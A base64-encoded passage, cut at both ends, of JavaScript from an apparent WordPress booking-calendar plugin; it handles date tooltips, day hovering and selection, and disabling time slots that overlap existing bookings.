b29sdGlwX2RheV9jb3N0JyBdLmxlbmd0aCA+IDAgKXtcclxuXHRcdFx0dG9vbHRpcF90ZXh0ICs9ICBkYXRlX2Jvb2tpbmdfb2JqWyAnc3VtbWFyeSddWyd0b29sdGlwX2RheV9jb3N0JyBdO1xyXG5cdFx0fVxyXG5cdFx0aWYgKCBkYXRlX2Jvb2tpbmdfb2JqWyAnc3VtbWFyeSddWyd0b29sdGlwX3RpbWVzJyBdLmxlbmd0aCA+IDAgKXtcclxuXHRcdFx0dG9vbHRpcF90ZXh0ICs9ICBkYXRlX2Jvb2tpbmdfb2JqWyAnc3VtbWFyeSddWyd0b29sdGlwX3RpbWVzJyBdO1xyXG5cdFx0fVxyXG5cdFx0aWYgKCBkYXRlX2Jvb2tpbmdfb2JqWyAnc3VtbWFyeSddWyd0b29sdGlwX2Jvb2tpbmdfZGV0YWlscycgXS5sZW5ndGggPiAwICl7XHJcblx0XHRcdHRvb2x0aXBfdGV4dCArPSAgZGF0ZV9ib29raW5nX29ialsgJ3N1bW1hcnknXVsndG9vbHRpcF9ib29raW5nX2RldGFpbHMnIF07XHJcblx0XHR9XHJcblx0XHR3cGJjX3NldF90b29sdGlwX19fZm9yX19jYWxlbmRhcl9kYXRlKCB0b29sdGlwX3RleHQsIHJlc291cmNlX2lkLCBjbGFzc19kYXkgKTtcclxuXHJcblxyXG5cclxuXHRcdC8vICBVIG4gaCBvIHYgZSByIGkgbiBnICAgIGluICAgIFVOU0VMRUNUQUJMRV9DQUxFTkRBUiAgLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tXHJcblx0XHR2YXIgaXNfdW5zZWxlY3RhYmxlX2NhbGVuZGFyID0gKCBqUXVlcnkoICcjY2FsZW5kYXJfYm9va2luZ191bnNlbGVjdGFibGUnICsgcmVzb3VyY2VfaWQgKS5sZW5ndGggPiAwKTtcdFx0XHRcdC8vRml4SW46IDguMC4xLjJcclxuXHRcdHZhciBpc19ib29raW5nX2Zvcm1fZXhpc3QgICAgPSAoIGpRdWVyeSggJyNib29raW5nX2Zvcm1fZGl2JyArIHJlc291cmNlX2lkICkubGVuZ3RoID4gMCApO1xyXG5cclxuXHRcdGlmICggKCBpc191bnNlbGVjdGFibGVfY2FsZW5kYXIgKSAmJiAoICEgaXNfYm9va2luZ19mb3JtX2V4aXN0ICkgKXtcclxuXHJcblx0XHRcdC8qKlxyXG5cdFx0XHQgKiAgVW4gSG92ZXIgYWxsIGRhdGVzIGluIGNhbGVuZGFyICh3aXRob3V0IHRoZSBib29raW5nIGZvcm0pLCBpZiBvbmx5IEF2YWlsYWJpbGl0eSBDYWxlbmRhciBoZXJlIGFuZCB3ZSBkbyBub3QgaW5zZXJ0IEJvb2tpbmcgZm9ybSBieSBtaXN0YWtlLlxyXG5cdFx0XHQgKi9cclxuXHJcblx0XHRcdHdwYmNfY2FsZW5kYXJzX19jbGVhcl9kYXlzX2hpZ2hsaWdodGluZyggcmVzb3VyY2VfaWQgKTsgXHRcdFx0XHRcdFx0XHQvLyBDbGVhciBkYXlzIGhpZ2hsaWdodGluZ1xyXG5cclxuXHRcdFx0dmFyIGNzc19vZl9jYWxlbmRhciA9ICcud3BiY19vbmx5X2NhbGVuZGFyICNjYWxlbmRhcl9ib29raW5nJyArIHJlc291cmNlX2lkO1xyXG5cdFx0XHRqUXVlcnkoIGNzc19vZl9jYWxlbmRhciArICcgLmRhdGVwaWNrLWRheXMtY2VsbCwgJ1xyXG5cdFx0XHRcdCAgKyBjc3Nfb2ZfY2FsZW5kYXIgKyAnIC5kYXRlcGljay1kYXlzLWNlbGwgYScgKS5jc3MoICdjdXJzb3InLCAnZGVmYXVsdCcgKTtcdC8vIFNldCBjdXJzb3IgdG8gRGVmYXVsdFxyXG5cdFx0XHRyZXR1cm4gZmFsc2U7XHJcblx0XHR9XHJcblxyXG5cclxuXHJcblx0XHQvLyAgRCBhIHkgcyAgICBIIG8gdiBlIHIgaSBuIGcgIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVxyXG5cdFx0aWYgKFxyXG5cdFx0XHQgICAoIGxvY2F0aW9uLmhyZWYuaW5kZXhPZiggJ3BhZ2U9d3BiYycgKSA9PSAtMSApXHJcblx0XHRcdHx8ICggbG9jYXRpb24uaHJlZi5pbmRleE9mKCAncGFnZT13cGJjLW5ldycgKSA+IDAgKVxyXG5cdFx0XHR8fCAoIGxvY2F0aW9uLmhyZWYuaW5kZXhPZiggJ3BhZ2U9d3BiYy1hdmFpbGFiaWxpdHknICkgPiAwIClcclxuXHRcdFx0fHwgKCAgKCBsb2NhdGlvbi5ocmVmLmluZGV4T2YoICdwYWdlPXdwYmMtc2V0dGluZ3MnICkgPiAwICkgICYmXHJcblx0XHRcdFx0ICAoIGxvY2F0aW9uLmhyZWYuaW5kZXhPZiggJyZ0YWI9Zm9ybScgKSA+IDAgKVxyXG5cdFx0XHQgICApXHJcblx0XHQpe1xyXG5cdFx0XHQvLyBUaGUgc2FtZSBhcyBkYXRlcyBzZWxlY3Rpb24sICBidXQgZm9yIGRheXMgaG92ZXJpbmdcclxuXHJcblx0XHRcdGlmICggJ2Z1bmN0aW9uJyA9PSB0eXBlb2YoIHdwYmNfX2NhbGVuZGFyX19kb19kYXlzX2hpZ2hsaWdodF9fYnMgKSApe1xyXG5cdFx0XHRcdHdwYmNfX2NhbGVuZGFyX19kb19kYXlzX2hpZ2hsaWdodF9fYnMoIHNxbF9jbGFzc19kYXksIGRhdGUsIHJlc291cmNlX2lkICk7XHJcblx0XHRcdH1cclxuXHRcdH1cclxuXHJcblx0fVxyXG5cclxuXHJcblx0LyoqXHJcblx0ICogU2VsZWN0IGNhbGVuZGFyIGRhdGUgY2VsbHNcclxuXHQgKlxyXG5cdCAqIEBwYXJhbSBkYXRlXHRcdFx0XHRcdFx0XHRcdFx0XHQtICBKYXZhU2NyaXB0IERhdGUgT2JqOiAgXHRcdE1vbiBEZWMgMTEgMjAyMyAwMDowMDowMCBHTVQrMDIwMCAoRWFzdGVybiBFdXJvcGVhbiBTdGFuZGFyZCBUaW1lKVxyXG5cdCAqIEBwYXJhbSBjYWxlbmRhcl9wYXJhbXNfYXJyXHRcdFx0XHRcdFx0LSAgQ2FsZW5kYXIgU2V0dGluZ3MgT2JqZWN0OiAgXHR7XHJcblx0ICpcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdCAgXHRcdFx0XHRcdFx0XCJyZXNvdXJjZV9pZFwiOiA0XHJcblx0ICpcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHR9XHJcblx0ICogQHBhcmFtIGRhdGVwaWNrX3RoaXNcdFx0XHRcdFx0XHRcdFx0LSB0aGlzIG9mIGRhdGVwaWNrIE9ialxyXG5cdCAqXHJcblx0ICovXHJcblx0ZnVuY3Rpb24gd3BiY19fY2FsZW5kYXJfX29uX3NlbGVjdF9kYXlzKCBkYXRlLCBjYWxlbmRhcl9wYXJhbXNfYXJyLCBkYXRlcGlja190aGlzICl7XHJcblxyXG5cdFx0dmFyIHJlc291cmNlX2lkID0gKCAndW5kZWZpbmVkJyAhPT0gdHlwZW9mKGNhbGVuZGFyX3BhcmFtc19hcnJbICdyZXNvdXJjZV9pZCcgXSkgKSA/IGNhbGVuZGFyX3BhcmFtc19hcnJbICdyZXNvdXJjZV9pZCcgXSA6ICcxJztcdFx0Ly8gJzEnXHJcblxyXG5cdFx0Ly8gU2V0IHVuc2VsZWN0YWJsZSwgIGlmIG9ubHkgQXZhaWxhYmlsaXR5IENhbGVuZGFyICBoZXJlIChhbmQgd2UgZG8gbm90IGluc2VydCBCb29raW5nIGZvcm0gYnkgbWlzdGFrZSkuXHJcblx0XHR2YXIgaXNfdW5zZWxlY3RhYmxlX2NhbGVuZGFyID0gKCBqUXVlcnkoICcjY2FsZW5kYXJfYm9va2luZ191bnNlbGVjdGFibGUnICsgcmVzb3VyY2VfaWQgKS5sZW5ndGggPiAwKTtcdFx0XHRcdC8vRml4SW46IDguMC4xLjJcclxuXHRcdHZhciBpc19ib29raW5nX2Zvcm1fZXhpc3QgICAgPSAoIGpRdWVyeSggJyNib29raW5nX2Zvcm1fZGl2JyArIHJlc291cmNlX2lkICkubGVuZ3RoID4gMCApO1xyXG5cdFx0aWYgKCAoIGlzX3Vuc2VsZWN0YWJsZV9jYWxlbmRhciApICYmICggISBpc19ib29raW5nX2Zvcm1fZXhpc3QgKSApe1xyXG5cdFx0XHR3cGJjX2NhbGVuZGFyX191bnNlbGVjdF9hbGxfZGF0ZXMoIHJlc291cmNlX2lkICk7XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHQvLyBVbnNlbGVjdCBEYXRlc1xyXG5cdFx0XHRqUXVlcnkoJy53cGJjX29ubHlfY2FsZW5kYXIgLnBvcG92ZXJfY2FsZW5kYXJfaG92ZXInKS5yZW1vdmUoKTsgICAgICAgICAgICAgICAgICAgICAgXHRcdFx0XHRcdFx0XHQvLyBIaWRlIGFsbCBvcGVuZWQgcG9wb3ZlcnNcclxuXHRcdFx0cmV0dXJuIGZhbHNlO1xyXG5cdFx0fVxyXG5cclxuXHRcdGpRdWVyeSggJyNkYXRlX2Jvb2tpbmcnICsgcmVzb3VyY2VfaWQgKS52YWwoIGRhdGUgKTtcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdC8vIEFkZCBzZWxlY3RlZCBkYXRlcyB0byAgaGlkZGVuIHRleHRhcmVhXHJcblxyXG5cclxuXHRcdGlmICggJ2Z1bmN0aW9uJyA9PT0gdHlwZW9mICh3cGJjX19jYWxlbmRhcl9fZG9fZGF5c19zZWxlY3RfX2JzKSApeyB3cGJjX19jYWxlbmRhcl9fZG9fZGF5c19zZWxlY3RfX2JzKCBkYXRlLCByZXNvdXJjZV9pZCApOyB9XHJcblxyXG5cdFx0d3BiY19kaXNhYmxlX3RpbWVfZmllbGRzX2luX2Jvb2tpbmdfZm9ybSggcmVzb3VyY2VfaWQgKTtcclxuXHJcblx0XHQvLyBIb29rIC0tIHRyaWdnZXIgZGF5IHNlbGVjdGlvbiAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVxyXG5cdFx0dmFyIG1vdXNlX2NsaWNrZWRfZGF0ZXMgPSBkYXRlO1x0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0Ly8gQ2FuIGJlOiBcIjA1LjEwLjIwMjMgLSAwNy4xMC4yMDIzXCIgIHwgIFwiMTAuMTAuMjAyMyAtIDEwLjEwLjIwMjNcIiAgfFxyXG5cdFx0dmFyIGFsbF9zZWxlY3RlZF9kYXRlc19hcnIgPSB3cGJjX2dldF9fc2VsZWN0ZWRfZGF0ZXNfc3FsX19hc19hcnIoIHJlc291cmNlX2lkICk7XHRcdFx0XHRcdFx0XHRcdFx0Ly8gQ2FuIGJlOiBbIFwiMjAyMy0xMC0wNVwiLCBcIjIwMjMtMTAtMDZcIiwgXCIyMDIzLTEwLTA3XCIsIOKApiBdXHJcblx0XHRqUXVlcnkoIFwiLmJvb2tpbmdfZm9ybV9kaXZcIiApLnRyaWdnZXIoIFwiZGF0ZV9zZWxlY3RlZFwiLCBbIHJlc291cmNlX2lkLCBtb3VzZV9jbGlja2VkX2RhdGVzLCBhbGxfc2VsZWN0ZWRfZGF0ZXNfYXJyIF0gKTtcclxuXHR9XHJcblxyXG5cclxuXHQvKipcclxuXHQgKiAtLSAgVCBpIG0gZSAgICBGIGkgZSBsIGQgcyAgICAgc3RhcnQgIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tXHJcblx0ICovXHJcblxyXG5cdC8qKlxyXG5cdCAqIERpc2FibGUgdGltZSBzbG90cyBpbiBib29raW5nIGZvcm0gZGVwZW5kIG9uIHNlbGVjdGVkIGRhdGVzIGFuZCBib29rZWQgZGF0ZXMvdGltZXNcclxuXHQgKlxyXG5cdCAqIEBwYXJhbSByZXNvdXJjZV9pZFxyXG5cdCAqL1xyXG5cdGZ1bmN0aW9uIHdwYmNfZGlzYWJsZV90aW1lX2ZpZWxkc19pbl9ib29raW5nX2Zvcm0oIHJlc291cmNlX2lkICl7XHJcblxyXG5cdFx0LyoqXHJcblx0XHQgKiBcdDEuIEdldCBhbGwgdGltZSBmaWVsZHMgaW4gdGhlIGJvb2tpbmcgZm9ybSBhcyBhcnJheSAgb2Ygb2JqZWN0c1xyXG5cdFx0ICogXHRcdFx0XHRcdFtcclxuXHRcdCAqIFx0XHRcdFx0XHQgXHQgICB7XHRqcXVlcnlfb3B0aW9uOiAgICAgIGpRdWVyeV9PYmplY3Qge31cclxuXHRcdCAqIFx0XHRcdFx0XHRcdFx0XHRuYW1lOiAgICAgICAgICAgICAgICdyYW5nZXRpbWUyW10nXHJcblx0XHQgKiBcdFx0XHRcdFx0XHRcdFx0dGltZXNfYXNfc2Vjb25kczogICBbIDIxNjAwLCAyMzQwMCBdXHJcblx0XHQgKiBcdFx0XHRcdFx0XHRcdFx0dmFsdWVfb3B0aW9uXzI0aDogICAnMDY6MDAgLSAwNjozMCdcclxuXHRcdCAqIFx0XHRcdFx0XHQgICAgIH1cclxuXHRcdCAqIFx0XHRcdFx0XHQgIC4uLlxyXG5cdFx0ICogXHRcdFx0XHRcdFx0ICAge1x0anF1ZXJ5X29wdGlvbjogICAgICBqUXVlcnlfT2JqZWN0IHt9XHJcblx0XHQgKiBcdFx0XHRcdFx0XHRcdFx0bmFtZTogICAgICAgICAgICAgICAnc3RhcnR0aW1lMltdJ1xyXG5cdFx0ICogXHRcdFx0XHRcdFx0XHRcdHRpbWVzX2FzX3NlY29uZHM6ICAgWyAyMTYwMCBdXHJcblx0XHQgKiBcdFx0XHRcdFx0XHRcdFx0dmFsdWVfb3B0aW9uXzI0aDogICAnMDY6MDAnXHJcblx0XHQgKiAgXHRcdFx0XHRcdCAgICB9XHJcblx0XHQgKiBcdFx0XHRcdFx0IF1cclxuXHRcdCAqL1xyXG5cdFx0dmFyIHRpbWVfZmllbGRzX29ial9hcnIgPSB3cGJjX2dldF9fdGltZV9maWVsZHNfX2luX2Jvb2tpbmdfZm9ybV9fYXNfYXJyKCByZXNvdXJjZV9pZCApO1xyXG5cclxuXHRcdC8vIDIuIEdldCBhbGwgc2VsZWN0ZWQgZGF0ZXMgaW4gIFNRTCBmb3JtYXQgIGxpa2UgdGhpcyBbIFwiMjAyMy0wOC0yM1wiLCBcIjIwMjMtMDgtMjRcIiwgXCIyMDIzLTA4LTI1XCIsIC4uLiBdXHJcblx0XHR2YXIgc2VsZWN0ZWRfZGF0ZXNfYXJyID0gd3BiY19nZXRfX3NlbGVjdGVkX2RhdGVzX3NxbF9fYXNfYXJyKCByZXNvdXJjZV9pZCApO1xyXG5cclxuXHRcdC8vIDMuIEdldCBjaGlsZCBib29raW5nIHJlc291cmNlcyAgb3Igc2luZ2xlIGJvb2tpbmcgcmVzb3VyY2UgIHRoYXQgIGV4aXN0ICBpbiBkYXRlc1xyXG5cdFx0dmFyIGNoaWxkX3Jlc291cmNlc19hcnIgPSB3cGJjX2Nsb25lX29iaiggX3dwYmMuYm9va2luZ19fZ2V0X3BhcmFtX3ZhbHVlKCByZXNvdXJjZV9pZCwgJ3Jlc291cmNlc19pZF9hcnJfX2luX2RhdGVzJyApICk7XHJcblxyXG5cdFx0dmFyIHNxbF9kYXRlO1xyXG5cdFx0dmFyIGNoaWxkX3Jlc291cmNlX2lkO1xyXG5cdFx0dmFyIG1lcmdlZF9zZWNvbmRzO1xyXG5cdFx0dmFyIHRpbWVfZmllbGRzX29iajtcclxuXHRcdHZhciBpc19pbnRlcnNlY3Q7XHJcblx0XHR2YXIgaXNfY2hlY2tfaW47XHJcblxyXG5cdFx0Ly8gNC4gTG9vcCAgYWxsICB0aW1lIEZpZWxkcyBvcHRpb25zXHRcdC8vRml4SW46IDEwLjMuMC4yXHJcblx0XHRmb3IgKCBsZXQgZmllbGRfa2V5ID0gMDsgZmllbGRfa2V5IDwgdGltZV9maWVsZHNfb2JqX2Fyci5sZW5ndGg7IGZpZWxkX2tleSsrICl7XHJcblxyXG5cdFx0XHR0aW1lX2ZpZWxkc19vYmpfYXJyWyBmaWVsZF9rZXkgXS5kaXNhYmxlZCA9IDA7ICAgICAgICAgIC8vIEJ5IGRlZmF1bHQsIHRoaXMgdGltZSBmaWVsZCBpcyBub3QgZGlzYWJsZWRcclxuXHJcblx0XHRcdHRpbWVfZmllbGRzX29iaiA9IHRpbWVfZmllbGRzX29ial9hcnJbIGZpZWxkX2tleSBdO1x0XHQvLyB7IHRpbWVzX2FzX3NlY29uZHM6IFsgMjE2MDAsIDIzNDAwIF0sIHZhbHVlX29wdGlvbl8yNGg6ICcwNjowMCAtIDA2OjMwJywgbmFtZTogJ3JhbmdldGltZTJbXScsIGpxdWVyeV9vcHRpb246IGpRdWVyeV9PYmplY3Qge319XHJcblxyXG5cdFx0XHQvLyBMb29wICBhbGwgIHNlbGVjdGVkIGRhdGVzXHJcblx0XHRcdGZvciAoIHZhciBpID0gMDsgaSA8IHNlbGVjdGVkX2RhdGVzX2Fyci5sZW5ndGg7IGkrKyApe1xyXG5cclxuXHRcdFx0XHQvL0ZpeEluOiA5LjkuMC4zMVxyXG5cdFx0XHRcdGlmIChcclxuXHRcdFx0XHRcdCAgICggJ09mZicgPT09IF93cGJjLmNhbGVuZGFyX19nZXRfcGFyYW1fdmFsdWUoIHJlc291cmNlX2lkLCAnYm9va2luZ19yZWN1cnJlbnRfdGltZScgKSApXHJcblx0XHRcdFx0XHQmJiAoIHNlbGVjdGVkX2RhdGVzX2Fyci5sZW5ndGg+MSApXHJcblx0XHRcdFx0KXtcclxuXHRcdFx0XHRcdC8vVE9ETzogc2tpcCBzb21lIGZpZWxkcyBjaGVja2luZyBpZiBpdCdzIHN0YXJ0IC8gZW5kIHRpbWUgZm9yIG11bHBsZSBkYXRlcyAgc2VsZWN0aW9uICBtb2RlLlxyXG5cdFx0XHRcdFx0Ly9UT0RPOiB3ZSBuZWVkIHRvIGZpeCBzaXR1YXRpb24gIGZvciBlbnRpbWVzLCAgd2hlbiAgdXNlciAgc2VsZWN0ICBzZXZlcmFsICBkYXRlcywgIGFuZCBpbiBzdGFydCAgdGltZSBib29rZWQgMDA6MDAgLSAxNTowMCAsIGJ1dCBzeXN0c21lIGJsb2NrIHVudGlsbCAxNTowMCB0aGUgZW5kIHRpbWUgYXMgd2VsbCwgIHdoaWNoICBpcyB3cm9uZywgIGJlY2F1c2UgaXQgMiBvciAzIGRhdGVzIHNlbGVjdGlvbiAgYW5kIGVuZCBkYXRlIGNhbiBiZSBmdWxsdSAgYXZhaWxhYmxlXHJcblxyXG5cdFx0XHRcdFx0aWYgKCAoMCA9PSBpKSAmJiAodGltZV9maWVsZHNfb2JqWyAnbmFtZScgXS5pbmRleE9mKCAnZW5kdGltZScgKSA+PSAwKSApe1xyXG5cdFx0XHRcdFx0XHRicmVhaztcclxuXHRcdFx0XHRcdH1cclxuXHRcdFx0XHRcdGlmICggKCAoc2VsZWN0ZWRfZGF0ZXNfYXJyLmxlbmd0aC0xKSA9PSBpICkgJiYgKHRpbWVfZmllbGRzX29ialsgJ25hbWUnIF0uaW5kZXhPZiggJ3N0YXJ0dGltZScgKSA+PSAwKSApe1xyXG5cdFx0XHRcdFx0XHRicmVhaztcclxuXHRcdFx0XHRcdH1cclxuXHRcdFx0XHR9XHJcblxyXG5cdFx0XHRcdC8vIEdldCBEYXRlOiAnMjAyMy0wOC0xOCdcclxuXHRcdFx0XHRzcWxfZGF0ZSA9IHNlbGVjdGVkX2RhdGVzX2FyclsgaSBdO1xyXG5cclxuXHJcblx0XHRcdFx0dmFyIGhvd19tYW55X3Jlc291cmNlc19pbnRlcnNlY3RlZCA9IDA7XHJcblx0XHRcdFx0Ly8gTG9vcCBhbGwgcmVzb3VyY2VzIElEXHJcblx0XHRcdFx0XHQvLyBmb3IgKCB2YXIgcmVzX2tleSBpbiBjaGlsZF9yZXNvdXJjZXNfYXJyICl7XHQgXHRcdFx0XHRcdFx0Ly9GaXhJbjogMTAuMy4wLjJcclxuXHRcdFx0XHRmb3IgKCBsZXQgcmVzX2tleSA9IDA7IHJlc19rZXkgPCBjaGlsZF9yZXNvdXJjZXNfYXJyLmxlbmd0aDsgcmVzX2tleSsrICl7XHJcblxyXG5cdFx0XHRcdFx0Y2hpbGRfcmVzb3VyY2VfaWQgPSBjaGlsZF9yZXNvdXJjZXNfYXJyWyByZXNfa2V5IF07XHJcblxyXG5cdFx0XHRcdFx0Ly8gX3dwYmMuYm9va2luZ3NfaW5fY2FsZW5kYXJfX2dldF9mb3JfZGF0ZSgyLCcyMDIzLTA4LTIxJylbMTJdLmJvb2tlZF90aW1lX3Nsb3RzLm1lcmdlZF9zZWNvbmRzXHRcdD0gWyBcIjA3OjAwOjExIC0gMDc6MzA6MDJcIiwgXCIxMDowMDoxMSAtIDAwOjAwOjAwXCIgXVxyXG5cdFx0XHRcdFx0Ly8gX3dwYmMuYm9va2luZ3NfaW5fY2FsZW5kYXJfX2dldF9mb3JfZGF0ZSgyLCcyMDIzLTA4LTIxJylbMl0uYm9va2VkX3RpbWVfc2xvdHMubWVyZ2VkX3NlY29uZHNcdFx0XHQ9IFsgIFsgMjUyMTEsIDI3MDAyIF0sIFsgMzYwMTEsIDg2NDAwIF0gIF1cclxuXHJcblx0XHRcdFx0XHRpZiAoIGZhbHNlICE9PSBfd3BiYy5ib29raW5nc19pbl9jYWxlbmRhcl9fZ2V0X2Zvcl9kYXRlKCByZXNvdXJjZV9pZCwgc3FsX2RhdGUgKSApe1xyXG5cdFx0XHRcdFx0XHRtZXJnZWRfc2Vjb25kcyA9IF93cGJjLmJvb2tpbmdzX2luX2NhbGVuZGFyX19nZXRfZm9yX2RhdGUoIHJlc291cmNlX2lkLCBzcWxfZGF0ZSApWyBjaGlsZF9yZXNvdXJjZV9pZCBdLmJvb2tlZF90aW1lX3Nsb3RzLm1lcmdlZF9zZWNvbmRzO1x0XHQvLyBbICBbIDI1MjExLCAyNzAwMiBdLCBbIDM2MDExLCA4NjQwMCBdICBdXHJcblx0XHRcdFx0XHR9IGVsc2Uge1xyXG5cdFx0XHRcdFx0XHRtZXJnZWRfc2Vjb25kcyA9IFtdO1xyXG5cdFx0XHRcdFx0fVxyXG5cdFx0XHRcdFx0aWYgKCB0aW1lX2ZpZWxkc19vYmoudGltZXNfYXNfc2Vjb25kcy5sZW5ndGggPiAxICl7XHJcblx0XHRcdFx0XHRcdGlzX2ludGVyc2VjdCA9IHdwYmNfaXNfaW50ZXJzZWN0X19yYW5nZV90aW1lX2ludGVydmFsKCAgW1xyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRbXHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0KCBwYXJzZUludCggdGltZV9maWVsZHNfb2JqLnRpbWVzX2FzX3NlY29uZHNbMF0gKSArIDIwICksXHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0KCBwYXJzZUludCggdGltZV9maWVsZHNfb2JqLnRpbWVzX2FzX3NlY29uZHNbMV0gKSAtIDIwIClcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XVxyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XVxyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0LCBtZXJnZWRfc2Vjb25kcyApO1xyXG5cdFx0XHRcdFx0fSBlbHNlIHtcclxuXHRcdFx0XHRcdFx0aXNfY2hlY2tfaW4gPSAoLTEgIT09IHRpbWVfZmllbGRzX29iai5uYW1lLmluZGV4T2YoICdzdGFydCcgKSk7XHJcblx0XHRcdFx0XHRcdGlzX2ludGVyc2VjdCA9IHdwYmNfaXNfaW50ZXJzZWN0X19vbmVfdGltZV9pbnRlcnZhbChcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdCggKCBpc19jaGVja19pbiApXHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHQgID8gcGFyc2VJbnQoIHRpbWVfZmllbGRzX29iai50aW1lc19hc19zZWNvbmRzICkgKyAyMFxyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0ICA6IHBhcnNlSW50KCB0aW1lX2ZpZWxkc19vYmoudGltZXNfYXNfc2Vjb25kcyApIC0gMjBcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdClcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdCwgbWVyZ2VkX3NlY29uZHMgKTtcclxuXHRcdFx0XHRcdH1cclxuXHRcdFx0XHRcdGlmIChpc19pbnRlcnNlY3Qpe1xyXG5cdFx0XHRcdFx0XHRob3dfbWFueV9yZXNvdXJjZXNfaW50ZXJzZWN0ZWQrKztcdFx0XHQvLyBJbmNyZWFzZVxyXG5cdFx0XHRcdFx0fVxyXG5cclxuXHRcdFx0XHR9XHJcblxyXG5cdFx0XHRcdGlmICggY2hpbGRfcmVzb3VyY2VzX2Fyci5sZW5ndGggPT0gaG93X21hbnlfcmVzb3VyY2VzX2ludGVyc2VjdGVkICkge1xyXG5cdFx0XHRcdFx0Ly8gQWxsIHJlc291cmNlcyBpbnRlcnNlY3RlZCwgIHRoZW4gIGl0J3MgbWVhbnMgdGhhdCB0aGlzIHRpbWUtc2xvdCBvciB0aW1lIG11c3QgIGJlICBEaXNhYmxlZCwgYW5kIHdlIGNhbiAgZXhpc3QgIGZyb20gICBzZWxlY3RlZF9kYXRlc19hcnIgTE9PUFxyXG5cclxuXHRcdFx0XHRcdHRpbWVfZmllbGRzX29ial9hcnJbIGZpZWxkX2tleSBdLmRpc2FibGVkID0gMTtcclxuXHRcdFx0XHRcdGJyZWFrO1x0XHRcdFx0XHRcdFx0XHRcdFx0XHQvLyBleGlzdCAgZnJvbSAgIERhdGVzIExPT1BcclxuXHRcdFx0XHR9XHJcblx0XHRcdH1cclxuXHRcdH1cclxuXHJcblxyXG5cdFx0Ly8gNS4gTm93IHdlIGNhbiBkaXNhYmxlIHRpbWUgc2xvdCBpbiBIVE1MIGJ5ICB1c2luZyAgKCBmaWVsZC5kaXNhYmxlZCA9PSAxICkgcHJvcGVydHlcclxuXHRcdHdwYmNfX2h0bWxfX3RpbWVfZmllbGRfb3B0aW9uc19fc2V0X2Rpc2FibGVkKCB0aW1lX2ZpZWxkc19vYmpfYXJyICk7XHJcblxyXG5cdFx0alF1ZXJ5KCBcIi5ib29raW5nX2Zvcm1fZGl2XCIgKS50cmlnZ2VyKCAnd3BiY19ob29rX3RpbWVzbG90c19kaXNhYmxlZCcsIFtyZXNvdXJjZV9pZCwgc2VsZWN0ZWRfZGF0ZXNfYXJyXSApO1x0XHRcdFx0XHQvLyBUcmlnZ2VyIGhvb2sgb24gZGlzYWJsaW5nIHRpbWVzbG90cy5cdFx0VXNhZ2U6IFx0alF1ZXJ5KCBcIi5ib29raW5nX2Zvcm1fZGl2XCIgKS5vbiggJ3dwYmNfaG9va190aW1lc2xvdHNfZGlzYWJsZWQnLCBmdW5jdGlvbiAoIGV2ZW50LCBia190eXBlLCBhbGxfZGF0ZXMgKXsgLi4uIH0gKTtcdFx0Ly9GaXhJbjogOC43LjExLjlcclxuXHR9XHJcblxyXG5cdFx0LyoqXHJcblx0XHQgKiBJcyBudW1iZXIgaW5zaWRlIC9pbnRlcnNlY3QgIG9mIGFycmF5IG9mIGludGVydmFscyA/XHJcblx0XHQgKlxyXG5cdFx0ICogQHBhcmFtIHRpbWVfQVx0XHQgICAgIFx0LSAyNTgwMFxyXG5cdFx0ICogQHBhcmFtIHRpbWVfaW50ZXJ2YWxfQlx0XHQtIFsgIFsgMjUyMTEsIDI3MDAyIF0sIFsgMzYwMTEsIDg2NDAwIF0gIF1cclxuXHRcdCAqIEByZXR1cm5zIHtib29sZWFufVxyXG5cdFx0ICovXHJcblx0XHRmdW5jdGlvbiB3cGJjX2lzX2ludGVyc2VjdF9fb25lX3RpbWVfaW50ZXJ2YWwoIHRpbWVfQSwgdGltZV9pbnRlcnZhbF9CICl7XHJcblxyXG5cdFx0XHRmb3IgKCB2YXIgaiA9IDA7IGogPCB0aW1lX2ludGVydmFsX0IubGVuZ3RoOyBqKysgKXtcclxuXHJcblx0XHRcdFx0aWYgKCAocGFyc2VJbnQoIHRpbWVfQSApID4gcGFyc2VJbnQoIHRpbWVfaW50ZXJ2YWxfQlsgaiBdWyAwIF0gKSkgJiYgKHBhcnNlSW50KCB0aW1lX0EgKSA8IHBhcnNlSW50KCB0aW1lX2ludGVydmFsX0JbIGogX